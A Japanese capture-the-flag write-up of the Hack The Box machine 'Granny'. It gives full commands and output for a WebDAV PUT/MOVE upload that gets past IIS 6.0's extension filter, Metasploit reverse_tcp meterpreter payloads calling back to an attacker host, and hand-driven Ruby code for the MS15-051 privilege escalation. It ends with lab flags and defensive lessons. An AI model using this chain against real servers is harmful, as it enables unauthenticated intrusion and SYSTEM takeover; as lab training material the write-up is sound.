Hack The BoxのWriteup(Granny)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Granny — 全実行コマンド・実行結果レポート
Nmap スキャン
80(IIS 6.0 + WebDAV)のみ
→
WebDAV PUT検証
201 Created — 書込み可能
→
iis_webdav_upload_asp
PUT→MOVEで拡張子フィルタ回避
→
NT AUTHORITY\NETWORK SERVICE
低権限シェル
→
MS15-051
client_copy_image カーネル脆弱性
→
NT AUTHORITY\SYSTEM
user.txt / root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.95.234
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-methods:
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan:
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
Grandpa(姉妹機)と同じ Microsoft-IIS/6.0 + WebDAV。nmapのスクリプト出力上は Allowed MethodsにPUTが含まれていない(宣言と実動作は 別物なので、必ず実際にPUTを試す必要がある)。

WebDAV PUT の実動作確認(Grandpaとの決定的な違い)

BASH
echo "test" > davtest2.txt
curl -s -i -X PUT --data-binary @davtest2.txt "http://10.129.95.234/davtest2.txt"
RESULT
HTTP/1.1 201 Created
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://10.129.95.234/davtest2.txt
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
✅
201 Created — ファイルのアップロードに成功。姉妹機Grandpaでは 同じPUTが403 Forbiddenで拒否されたのに対し、Grannyでは WebDAV書込みが実際に有効になっている。これにより、Grandpaで使った CVE-2017-7269(バッファオーバーフロー)ではなく、アップロード型の ASPシェル配置が主経路として使える。
BASH (後片付け)
curl -s -i "http://10.129.95.234/davtest2.txt"   # 200 OK, 取得できることを確認
curl -s -i -X DELETE "http://10.129.95.234/davtest2.txt"   # 削除
PHASE 2

WebDAV アップロード型RCEの解析

拡張子フィルタ回避の仕組み

NOTE
IIS 6.0 + WebDAVは.aspファイルの直接PUTアップロードをブロックするが、
以下の手順で回避できる(Metasploit exploit/windows/iis/iis_webdav_upload_asp
が自動実行する内容):

  1. PUT /xxxxx.txt         ← .txt拡張子ならPUTが許可される
  2. MOVE xxxxx.txt -> xxxxx.asp  ← WebDAVのMOVEメソッドで拡張子のみ変更
                                      (MOVE自体は拡張子チェック対象外)
  3. GET /xxxxx.asp          ← ASPエンジンがリバースシェルコードを実行
  4. DELETE /xxxxx.asp       ← 後片付け(ただし実行中プロセスがロックしており
                                  失敗することが多い、実機でも403 Forbidden
                                  で削除失敗を確認)
⚠️
ASPシェルコードはIISワーカープロセスのコンテキスト (NT AUTHORITY\NETWORK SERVICE)で実行される。これは 認証不要の未認証RCEだが、得られる権限は低いため後続の権限昇格が必要になる。
PHASE 3

iis_webdav_upload_asp によるフットホールド

エクスプロイトモジュールの設定

BASH (msfconsole)
use exploit/windows/iis/iis_webdav_upload_asp
set TARGETURI /
set HttpClientTimeout 20
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4560
run -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4560
[*] Checking /metasploit132801506.asp
[*] Uploading 52878 bytes to /metasploit132801506.txt...
[*] Moving /metasploit132801506.txt to /metasploit132801506.asp...
[*] Executing /metasploit132801506.asp...
[*] Deleting /metasploit132801506.asp (this doesn't always work)...
[*] Sending stage (190534 bytes) to 10.129.95.234
[!] Deletion failed on /metasploit132801506.asp [403 Forbidden]
[*] Meterpreter session 1 opened (10.10.15.200:4560 -> 10.129.95.234:1037)
ℹ️
モジュール自体のコメントが示す通り(this doesn't always work)、 実行中ASPプロセスがファイルロックを保持しているため削除は失敗することが多い (実際に403 Forbiddenを確認) — これは動作上の既知の制約であり、 エクスプロイト自体の成否には影響しない。このマシン特有の重要な注意点として、 このモジュールは1回の攻撃で10〜20個以上の重複した短命セッション を生やすことがあるため(過去のデバッグ履行で確認済み)、セッション判定は 単純な「最初の1件」採用ではなく「生存+stdapiロード済み」を条件に能動的に 探索する必要がある。今回の実行では幸運にも1回で1本のクリーンなセッションが 確立した。

権限確認

API (msfconsole内Ruby)
sess.shell_command_token("whoami", 20)
RESULT
nt authority\network service
PHASE 4

MS15-051 で SYSTEM 昇格 & user.txt / root.txt

ms15_051_client_copy_image の手動ドライブ

NOTE
このNETWORK SERVICEセッションは sys.config.getsid/sysinfo 等が例外
("Access is denied")を投げる制限付きトークンであり、ms15_051モジュールの
is_system?/sysinfo呼び出しがこれを捕捉できず即座に失敗する。コンソールの
use/set/run経由だとモジュールが内部で複製され事前のスタブ設定が失われるため、
framework.exploits.create(...)で直接モジュールオブジェクトを生成し
is_system?/sysinfoをスタブ化した上でmod.exploitを直接呼ぶ。
API (msfconsole内Ruby)
mod = framework.exploits.create('windows/local/ms15_051_client_copy_image')
mod.datastore['SESSION'] = foothold_sess.sid
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
mod.datastore['LHOST'] = '10.10.15.200'
mod.datastore['LPORT'] = 4561
def mod.is_system?; false; end
def mod.sysinfo; {'Architecture' => 'x86'}; end

pinst = mod.framework.payloads.create('windows/meterpreter/reverse_tcp')
pinst.datastore['LHOST'] = '10.10.15.200'
pinst.datastore['LPORT'] = 4561
pinst.assoc_exploit = mod   # 必須: これが無いとSYSTEMセッションが
                            # framework.sessionsに一度も登録されない
mod.generate_payload(pinst)

mod.setup   # これを呼ばないとreverse handlerが起動しない
mod.exploit
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4561
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching msiexec to host the DLL...
[+] Process 3980 launched.
[*] Reflectively injecting the DLL into 3980...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (190534 bytes) to 10.129.95.234
[*] Meterpreter session 2 opened (10.10.15.200:4561 -> 10.129.95.234:1038)
🚨
CVE-2015-1701 (MS15-051): win32k.sysのNtUserCopyAcceleratorTable系 APIの権限検証不備。msiexec.exeプロセスへDLLをリフレクティブ インジェクションしSYSTEM権限のプロセスを生成する(Grandpaではnetsh.exeが ホストプロセスだったが、ここではmsiexec.exeが選ばれている — モジュールが 都度利用可能なプロセスを探して選択するため個体差がある)。

SYSTEM昇格の確認 & フラグ取得

API (msfconsole内Ruby, meterpreterのfs.file API経由)
root_sess.fs.file.open('C:\Documents and Settings\Lakis\Desktop\user.txt').read
root_sess.fs.file.open('C:\Documents and Settings\Administrator\Desktop\root.txt').read
RESULT
GRANNY_USER_TRY: 700c5dc163014e22b3e408f8703f67d1
GRANNY_ROOT_FLAG_RAW: aa4beed1c0584445ab463a6747bd06e9
user.txt — Lakis@GRANNY
700c5dc163014e22b3e408f8703f67d1
root.txt — Administrator@GRANNY
aa4beed1c0584445ab463a6747bd06e9
✅
SYSTEM昇格後に取得した新規セッション(SYSTEM-tunnel側、LPORT 4561)から 両フラグを直接読み取る。両フラグともSYSTEM権限のセッションから読んでおり、 NETWORK SERVICEセッションの時点ではuser.txtへのアクセス権限は未検証だが、 この手順では一貫してSYSTEM昇格後に読む設計になっている。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Lakis@GRANNY
700c5dc163014e22b3e408f8703f67d1
root.txt — Administrator@GRANNY
aa4beed1c0584445ab463a6747bd06e9

使用した脆弱性

脆弱性/手法 対象 影響 深刻度 利用方法
WebDAV PUT/MOVE 設定不備 IIS 6.0 WebDAV拡張 未認証ファイルアップロード→RCE High .txtとしてPUTし、WebDAV MOVEで.aspへリネームする拡張子フィルタ 回避で、NETWORK SERVICEシェルを獲得
CVE-2015-1701 (MS15-051) Windowsカーネル win32k.sys (client_copy_image) 一般サービスアカウントからのSYSTEM昇格 Critical msiexec.exeへのDLLリフレクティブインジェクションでカーネル権限 検証不備を突き、user.txt / root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(80) + WebDAV PUT実動作検証(201 Createdで有効確認)IIS 6.0検出、アップロード経路が使えると確定
2脆弱性解析PUT→MOVEによる拡張子フィルタ回避の仕組み理解ASPシェル配置手法の把握
3フットホールドiis_webdav_upload_aspNETWORK SERVICEシェル
4権限昇格ms15_051_client_copy_imageuser.txt / root.txt(SYSTEMシェルから両方取得)

学んだ教訓 & 防御策

問題点防御策
WebDAV拡張が有効かつPUT/MOVEメソッドへの認証が設定されていない (匿名で任意ファイルアップロード・リネームが可能) WebDAVを使用しないなら無効化する。使用する場合は認証を必須化し、 アップロード可能な拡張子をホワイトリスト化、かつ PUT後のリネーム(MOVE)先も同じ拡張子制限の対象にする (フィルタをアップロード時だけでなくリネーム時にも適用)。
サポート終了(EOL)のWindows Server 2003/IIS 6.0が稼働している 現行の長期サポート対象OSへ移行する。2015年公開の MS15-051含む大量の未修正脆弱性が累積するリスクを放置しない。
2015年公開のWindowsカーネル脆弱性(MS15-051)が未パッチ Windows Updateを定期適用し、特にwin32k.sys等カーネルモード コンポーネントのセキュリティパッチは優先的に適用する。
HackTheBox: Granny | 完全攻略レポート